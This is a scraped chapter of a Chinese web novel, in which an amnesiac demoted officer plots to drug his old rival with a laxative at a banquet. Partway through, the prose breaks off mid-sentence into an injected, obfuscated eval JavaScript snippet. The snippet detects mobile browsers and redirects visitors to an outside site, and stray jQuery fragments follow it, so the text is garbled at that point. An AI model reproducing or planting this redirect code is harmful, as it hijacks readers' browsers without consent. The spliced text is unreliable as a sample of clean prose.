岁暮落雪,天地寂暗,回檐掩藏的冰梢一点一滴淌下水珠,轻轻敲响窗榭,惊扰梦中人。
“谢晗。”
青年睁开眼,面前是夫君清俊温柔的脸,恍惚间,他突然有一种三年如一日的错觉,仿佛至此岁月,从不曾忘却一切。
“睡糊涂了?”方琪深淡笑,伸手拢开谢晗的额发,露出一双茫然又澄澈的眼眸,他提醒道:“又忘了吗?今天是孟叶邀你到千户所议事的日子。”
谢晗眨了眨眼,完全醒了。
自三年前失忆之后,他每日苏醒都会处于懵懂的状态,分不清今夕何夕——他应该是谢晗,边城军区的一名小旗官。
至于失忆的原因,夫君说,三年前他被贬官职,从高高在上的指挥使成为卑微的小旗官,跌落谷底,备受刺激,方才如此。
他对此深信不疑,因为他唯一能记起的,就是三年前被贬黜的那段记忆。
那是在一个张灯结彩、进退作揖让的宴会上。
灯火辉煌的大殿内,群臣的顶领膜拜声、敬酒往来声、鼓瑟吹笙声,汇聚成一片其乐融融的风光。
可惜天公不作美,外面突然下起了倾盆大雨。
雨束砸在宫殿的青石地面上,宫灯在风雨中摇曳。
值守在殿外的谢晗目光扫向殿门,只见一群权贵簇拥着李淮屿走了出来。
李淮屿一袭玄色锦袍,银线绣了暗花,在宫灯下泛着冷冽的光泽,仿佛对一切都漫不经心。
侍从小心翼翼地搀扶着微醉的他,生怕这位权倾朝野的大人物有半点闪失。
经过大殿门口时,李淮屿微微扭过头,以及其平常的口吻,对谢晗说了第一句也是唯一一句话:“我不喜欢你的笑容。”
兢兢业业履行护卫职责的谢晗皱眉:“李大人说笑了,属下不过是个武夫,笑容如何,恐怕入不了您的眼。”
隐锋营指挥使何曾被人当面甩过脸色,谢晗本想大骂李淮屿,但顾忌王室尊严,只得忍下火气好言温色道:“若是属下冒犯了李大人,还请见谅。”
李淮屿不应声,在谢晗作揖时,已转身离去。
第二天,把谢晗贬到浦那城的王旨就下来了。他过去十年拼死赢来的一切,在一夜之间,化为泡影。
撕毁王旨后,谢晗回想起李屿淮令人惊艳又难以摸透的面孔,怨恨涌上心头,这人非除不可。
“——谢大人。该吃早饭了。”
方琪的呼唤将他的思绪拉回了现实中。
他和方琪一起摆放餐食,大口吃了他最喜欢的食物。
用完膳,方琪率先回到堆满书籍的案旁。
谢晗看着水盆里堆积如小山的碗、盘,用手敲打肩膀,作出酸痛状,“昨儿巡了一天的街,好累。”
方琪笑着看他,眼神明亮:“别装了。我做饭,你洗碗,说好的。”
谢晗叹了一口气。“可我的肩膀真的快垮了。”
“好吧,你先收拾兵器,我来洗碗。”
方琪的回答一如他所预期。
谢晗收拾兵器时,方琪已洗完碗,俯身在一堆梵文经书上,聚精会神地研读着那些错综复杂的符号迷宫。
他供职于王室的佛事司,受高官贵人的敬重。
日光被窗外枝叶遮挡,方琪风姿明净的颊明明灭灭,看起来仿佛是某个道观里沉迷书写体系的幻象。
他是一个三十岁的男人,身姿依然清韧如竹,穿着一身蓝蒙蒙白不透的衣服,沉浸在文字的世界中。
谢晗知道,只要把方琪从那堆繁复的变音符号中拖出来,他就又会变成那个殷殷切切的夫君。
他咳嗽了一声,说:“方先生,我去千户所了。”
方琪抬起眼睛看到了他,微微一笑,这时他不再像是幻象,倒更像是什么对经文魂牵梦萦的书呆子。
“去吧,晚上我做饭等你。”
谢晗看着他的笑颜,幸福感漫上心头。
他意识到,方琪是他在这世界上最重要的人。
千户所。
“谢老弟,最近你又办了什么石破天惊的案子?”孟叶是城中千户,生性幽默风趣,欣赏谢晗的人品和能力,三年来对谢晗多有照拂。
现在,孟叶黝黑的脸上挂着一幅太过正经的表情,谢晗猜不到他到底要问什么。
“都是老样子。”
孟叶皱起了眉头,“夏国的校事——李屿淮,你还记得吗?”
谢晗的表情里闪过一丝惊讶,“那个杂碎!他怎么了?”
“他明天会到达浦那城,并且在太守府设宴,要求三年前参加过王室宴会的所有人都去太守府参加宴会。”
死对头竟然要来这里!?
“为何?”谢晗从没想过还会再听到这个名字,他们职责不同、所效忠的朝廷又隔了十万八千里,怎么还会扯上关系。
孟叶露出一副所以我才问你最近有没有得罪他的表情。
人人都知道谢晗是因为得罪了李屿淮才被贬到这个小城。这三年李屿淮异常低调,像在夏国消失了一样,别人想得罪他,也没有机会。
孟叶思来想去,认为明天的太守府宴会就是李屿淮给谢晗设下的鸿门宴,不然谁会闲极无聊,从夏国万里迢迢赶来这黄沙漫天的边陲?
可这谢晗,到底又有哪里得罪了他,他不是一直安分守己的呆在浦那城、呆在他的眼皮子底下嘛。
“谢老弟,你好好想一想,这样我们才有应对之策。”
想毛啊!狗贼捉弄人、践踏人是没有理由的。他大概还会踏着节拍、唱着歌儿,一边喝着美酒、一边踩爆别人的蛋蛋。
“他真是来找我麻烦的?也许他只是来看看西域风土人情,随便和他看上的哪个金毛野猫叙叙旧?”谢晗回过神来,声音里带着一点儿对李屿淮的讥讽。
孟叶混迹官场十余年,一贯的警觉让他觉得谢晗不能不做些准备。
“明天的宴会,你不必参加,我会为你请假。”
“别请假。宴会,美食、美酒、还要金毛野猫,这多有趣啊。”谢晗笑了起来,那些沉重的过去并不会让他成为缩头乌龟,反
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15080888|163458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而让他斗志昂扬。
孟叶疑惑不解。“你确定要去?这个李屿淮可是棘手难缠的主儿。”
谢晗点头。去见自己的仇人,让他明白谁才是真正的傻叉,这个想法令他兴奋。
“放心。我已经不是三年前那个会从高位上摔下来的人了。不管李屿淮这次是想嘲弄我、还是打击我,我都会新仇旧恨一起算。”
孟叶几乎要脱口而出一个“不”字,因为李屿淮不仅稳坐高位,还带了夏国的援助计划来,不管李屿淮抖多大的官威,西且弥的王室都不可能让谢晗动他一根汗毛。
谢晗应该回到家里,陪他丈夫一起翻译那些鬼画符的天书,而不是去鸡蛋碰石头。
但当孟叶对上谢晗理智、冷静得像冰一样的眼神时,他又改变了主意。
他审视着眼前这位英俊的男子,清楚地记起自己曾经低估他,后来他发现他非常聪明、破案神速,让那些凭军功获得敛事长俸禄的高官们都显得愚笨迟缓。如果不是碍于王旨,他早就把他提拔为副千户了。
在这个假货横行的官场,他是货真价实的人才。
因此,为了确保谢晗能在他身边长久地呆下去,为了谢晗能继续为他排忧解难,也为了他和谢晗的友谊,他说:“能有用得上我的地方,谢老弟你尽管开口。”
“龟兹国那味无色无味的断肠水,”谢晗顿了顿,眼里闪烁着狡黠的光,“被孟千户锁在案证室柜子里、准备上贡给夏国的那个毒药,我能带点去宴会吗?”
断肠水?
这可是数十种毒花毒草凝练而成的毒药,常人哪怕只沾到一滴,不出片刻就会七窍流血而亡。
孟叶咂舌:“谢老弟,倒也不必如此吧?”
“不必吗?”
“你说的好像也对,夏国大官如果在浦那城身亡,孟千户恐怕也要被牵连。”谢晗沉吟片刻,“那换成云蛟吐物散?”
云蛟吐物散是泻药,能在极短的时间内把人的肚子搅得不得安宁,而且太守府的管事和他称兄道弟,下毒易如反掌!
夏国大官如果在宴会上不停往茅房跑,一定会成为天下人的笑柄。
李屿淮这次栽定了!
谢晗内心隐隐有一丝得意,转念想起自己的遭遇,又心有不甘地道,“断肠水换成云蛟吐物散,太便宜那狗贼了!”
见谢晗一脸的意难平,孟叶担心谢晗一着不慎满盘皆输,忙劝道:“谢老弟要报复李屿淮,还需从长计议。至于目前嘛,可对李屿淮小施惩戒,以雪心头之愤,也就足矣。”
谢晗点点头。
寒天早暗,刚过酉时三刻,太守府已经挂上了红灯笼。府外门庭若市、车马云集,三年前参加过西且弥国宴的人,无论在职、退休、调出还是其他,全都来了。
谢晗想要趁机报复李屿淮,自然早早到了。
昨日收到孟叶的情报后,兴奋了整整一夜。
“狗贼李屿淮。”
光是默念这个名字,谢晗就能感到血脉喷张,身体里某些沉寂已久的东西好像要被唤醒了。